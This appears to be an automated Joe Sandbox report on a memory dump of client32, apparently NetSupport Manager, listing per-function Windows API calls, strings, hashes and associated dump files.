Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseExecuteHandleModuleNameShell
String ID: "%sWINST32.EXE"$"%sWINSTALL.EXE"$/EM$open
API String ID: 816263943-3387570681
Opcode ID: f1cc15f3b484b3060597b65f0298e6d9845af8db0c61c02a3f53ce9c049578f2
Instruction ID: f0eacc969569edd34e5eb124d3fecacac55834f17749586e5d24d44a89e4cf8a
Opcode Fuzzy Hash: f1cc15f3b484b3060597b65f0298e6d9845af8db0c61c02a3f53ce9c049578f2
Instruction Fuzzy Hash: ED11E775E0131AABD750EBB5CC85FAEF7A8DF0470CF5081A5FD15A7185EB30A9008B92

Function 11003350 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 1100335E
GetSubMenu.USER32(00000000,00000000), ref: 1100338A
GetSubMenu.USER32(00000000,00000000), ref: 110033AC
DestroyMenu.USER32(00000000), ref: 110033BA

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

..\CTL32\annotate.cpp, xrefs: 1100336F, 11003397
hSub, xrefs: 1100339C
hMenu, xrefs: 11003374

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 6be1e2059ece7b9ed383bdda7931d76c13f61f293d7c0d97a9269ad1e6de483e
Instruction ID: aeaffee7d87c1ff1c724bef08b67d3c3b5c76dc351194a7015da3f3258e519f5
Opcode Fuzzy Hash: 6be1e2059ece7b9ed383bdda7931d76c13f61f293d7c0d97a9269ad1e6de483e
Instruction Fuzzy Hash: 59F0E93BF4066A76E61352A66CC5F4FE35C8B81AECF010031F614FA284EE10A80141EB

Function 11003260 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 1100326D
GetSubMenu.USER32(00000000,00000000), ref: 11003293
GetMenuItemCount.USER32(00000000), ref: 110032B7
DestroyMenu.USER32(00000000), ref: 110032C9

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

..\CTL32\annotate.cpp, xrefs: 1100327E, 110032A4
hSub, xrefs: 110032A9
hMenu, xrefs: 11003283

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: 5324a1715833ff6cda70ffa9f26dac184838cc1d76cf7618101d200ddf01ce48
Instruction ID: fe78c9ad8171f01834a46f05afcb0f237af7868451300d88a4665c9a5eaf3718
Opcode Fuzzy Hash: 5324a1715833ff6cda70ffa9f26dac184838cc1d76cf7618101d200ddf01ce48
Instruction Fuzzy Hash: 1DF0E93AF0056B77D21352653C4DF8FF6584B816ACF064031F915B6149EA14640181E6

Function 110ED0B0 Relevance: 12.1, APIs: 8, Instructions: 84filememoryCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,1112E6F6,00000000,?), ref: 110ED0C8
ReadFile.KERNEL32(00000000,00000000,0000000E,?,00000000,?,1112E6F6,00000000,?), ref: 110ED0DD
GlobalAlloc.KERNEL32(00000042,-0000000E,00000000), ref: 110ED0FF
GlobalLock.KERNEL32(00000000), ref: 110ED10C
ReadFile.KERNEL32(00000000,00000000,-0000000E,0000000E,00000000), ref: 110ED11B
GlobalUnlock.KERNEL32(00000000), ref: 110ED12B
GlobalUnlock.KERNEL32(00000000), ref: 110ED145
GlobalFree.KERNEL32(00000000), ref: 110ED14C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Global$File$ReadUnlock$AllocFreeLockSize
String ID:
API String ID: 3489003387-0
Opcode ID: 053e6924d347b9ac6820ca3d5c81bb3f14130f107e9b2ff0bd63cb7444256e51
Instruction ID: 65e8517cfcc21586bd3fb580135f1203d989b374e789983d102e0d2658aa4c04
Opcode Fuzzy Hash: 053e6924d347b9ac6820ca3d5c81bb3f14130f107e9b2ff0bd63cb7444256e51
Instruction Fuzzy Hash: 1B217432A0111AAFD701DFA9C889BBFB7BCEB85715F1040ABFA16D7140DB74990187A2

Function 1101B1B0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 204libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 110DC4E0: EnterCriticalSection.KERNEL32(111E8064,11018848,8F98CBB2,?,?,?,111C7D3C,11183F68,000000FF,?,1101A832), ref: 110DC4E1

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 1101B3F6
__CxxThrowException@8.LIBCMT ref: 1101B411
LoadLibraryA.KERNEL32(NSSecurity.dll,00000000,111C7D3C), ref: 1101B42E

Part of subcall function 11008D20: std::_Xinvalid_argument.LIBCPMT ref: 11008D3A

Strings

NsAppSystem Info : Control Channel Sending Command : %d, xrefs: 1101B369
NsAppSystem Info : Control Channel Command Sent : %d, xrefs: 1101B38A
NSSecurity.dll, xrefs: 1101B423

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterException@8LibraryLoadSectionThrowXinvalid_argument_malloc_memsetstd::_std::exception::exceptionwsprintf
String ID: NSSecurity.dll$NsAppSystem Info : Control Channel Command Sent : %d$NsAppSystem Info : Control Channel Sending Command : %d
API String ID: 3515807602-1044166025
Opcode ID: 4eff86753c13d48b279f7a6ef4ad08d8c605d80f7f015605fd48480fc993e55a
Instruction ID: d603a471dd2e33d99d4278f6f720d17a0ac61e2c68e0e6a6cc91a0df56390d49
Opcode Fuzzy Hash: 4eff86753c13d48b279f7a6ef4ad08d8c605d80f7f015605fd48480fc993e55a
Instruction Fuzzy Hash: 75716FB5D00349DFEB10DFA8C884BDDFBB4AF05318F508159E825AB381EB75AA45CB91

Function 1101F130 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101F1A1

Part of subcall function 11140F70: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11190A88), ref: 11140FDD
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110C55B), ref: 1114101E
Part of subcall function 11140F70: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1114107B

SHGetFolderPathA.SHFOLDER(00000000,00000005,00000000,00000000,00000000), ref: 1101F2B5
GetSaveFileNameA.COMDLG32(?), ref: 1101F2D7
_fputs.LIBCMT ref: 1101F303

Strings

X, xrefs: 1101F1B1
ChatPath, xrefs: 1101F291

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$FileName$ModuleSave_fputs_memset
String ID: ChatPath$X
API String ID: 2661292734-3955712077
Opcode ID: c9d1167305944222c3b812ed212865b521ec1b37c4121ec4c8f310dd89108d80
Instruction ID: 57ff07f2a651e70645d467a760abd372366bc5bc768b787ed0d323a481320c6b
Opcode Fuzzy Hash: c9d1167305944222c3b812ed212865b521ec1b37c4121ec4c8f310dd89108d80
Instruction Fuzzy Hash: 8B51B275D043299FEB21DB60CC44BDEBBB4AF45708F1041D9D9096B284EB75AA84CB91

Function 110DB2F0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 110D5D90: __CxxThrowException@8.LIBCMT ref: 110D5E13
Part of subcall function 110D5D90: gethostbyname.WSOCK32(0.0.0.0,8F98CBB2,?,?,00000000), ref: 110D5E25
Part of subcall function 110D5D90: WSAGetLastError.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,111830EB), ref: 110D5E31
Part of subcall function 110D5D90: _memmove.LIBCMT ref: 110D5E5B
Part of subcall function 110D5D90: htons.WSOCK32(00000000), ref: 110D5E81
Part of subcall function 110D5D90: socket.WSOCK32(00000002,00000001,00000000), ref: 110D5E95
Part of subcall function 110D5D90: WSAGetLastError.WSOCK32 ref: 110D5EA3

OutputDebugStringA.KERNEL32(NsAppSystem Info : Control Channel Stopped Listening for Connections (37778) ListenThread Terminating)...,?,00000000,?,?,00000000), ref: 110DB378

Part of subcall function 110DC4E0: EnterCriticalSection.KERNEL32(111E8064,11018848,8F98CBB2,?,?,?,111C7D3C,11183F68,000000FF,?,1101A832), ref: 110DC4E1

Strings

NsAppSystem Info : Control Channel Listening for Connections..., xrefs: 110DB326
NsAppSystem Info : Stopped Listening On Control Channel For Connections..., xrefs: 110DB366
NsAppSystem Info : Control Channel Stopped Listening for Connections (37778) ListenThread Terminating)..., xrefs: 110DB373
NsAppSystem Info : Control Channel Connected To NsStudent App..., xrefs: 110DB42A
NsAppSystem Info : INCOMING Control Channel Connection..., xrefs: 110DB39C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$CriticalDebugEnterException@8OutputSectionStringThrow_memmovegethostbynamehtonssocket
String ID: NsAppSystem Info : Control Channel Connected To NsStudent App...$NsAppSystem Info : Control Channel Listening for Connections...$NsAppSystem Info : Control Channel Stopped Listening for Connections (37778) ListenThread Terminating)...$NsAppSystem Info : INCOMING Control Channel Connection...$NsAppSystem Info : Stopped Listening On Control Channel For Connections...
API String ID: 2962855875-3381136194
Opcode ID: dff339e5c97f84a0d1f3e86ff76f4217b3e1744c01931740be9d17cc879bec19
Instruction ID: e2715c33eb21191a3dfbb02b9cbbcab3febe3a6cedbf12ae552ebbd69860b1d5
Opcode Fuzzy Hash: dff339e5c97f84a0d1f3e86ff76f4217b3e1744c01931740be9d17cc879bec19
Instruction Fuzzy Hash: 0131BF75E01795EFDB00DBE4D880AAEFBB0FF45708F10806DE4169B240EA316A00CBA2

Function 110EB0D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,?), ref: 110EB121
_free.LIBCMT ref: 110EB13C

Part of subcall function 1115F2C5: HeapFree.KERNEL32(00000000,00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2DB
Part of subcall function 1115F2C5: GetLastError.KERNEL32(00000000,?,11167E86,00000000,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F2ED

_malloc.LIBCMT ref: 110EB14E
RegQueryValueExA.ADVAPI32(000007FF,?,00000000,?,00000000,000007FF), ref: 110EB17A
_free.LIBCMT ref: 110EB203

Strings

Error %d getting %s, xrefs: 110EB1BD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_free$ErrorFreeHeapLast_malloc
String ID: Error %d getting %s
API String ID: 582965682-2709163689
Opcode ID: 9bff1f37e75fcc18e7aeaab05f9b388b64247037a167967b193f88d1d216f0d9
Instruction ID: 53ee35c367f0f4a38b634750d2b963ed9aac3e35d2351b44fe080ad2754011a1
Opcode Fuzzy Hash: 9bff1f37e75fcc18e7aeaab05f9b388b64247037a167967b193f88d1d216f0d9
Instruction Fuzzy Hash: 20316175D001299FDB50DA55CC84BAEB7F9AF85314F40C0E9E959A7240DE30AE85CBE1

Function 11009570 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110CEEB0: wvsprintfA.USER32(?,?,00000000), ref: 110CEEE2

WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 11009626
WriteFile.KERNEL32(?,<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >,000000B9,00000000,00000000), ref: 1100963B

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

<HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">, xrefs: 110095A9
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110095D8, 11009600
<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >, xrefs: 11009635
IsA(), xrefs: 110095DD, 11009605

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileWrite$ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: <HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">$<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 863766397-389219706
Opcode ID: 9a816948f6b0678b02576a9906659843a18032fc7dc2c71b41f63bde39e905f6
Instruction ID: c43f9d7e7a46378d94fec254dd1f0663a41d06cab59106702bb4ccdf65445973
Opcode Fuzzy Hash: 9a816948f6b0678b02576a9906659843a18032fc7dc2c71b41f63bde39e905f6
Instruction Fuzzy Hash: C0215175E0051EABDB00DF95DC41FDEF3B8EF49614F104659E921B3280EB786904CBA1

Function 110055F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,?), ref: 1100562D
BeginPaint.USER32(?,?), ref: 11005638
BitBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,00CC0020), ref: 1100565A
EndPaint.USER32(?,?), ref: 1100567F

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11005613
m_hWnd, xrefs: 11005618

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
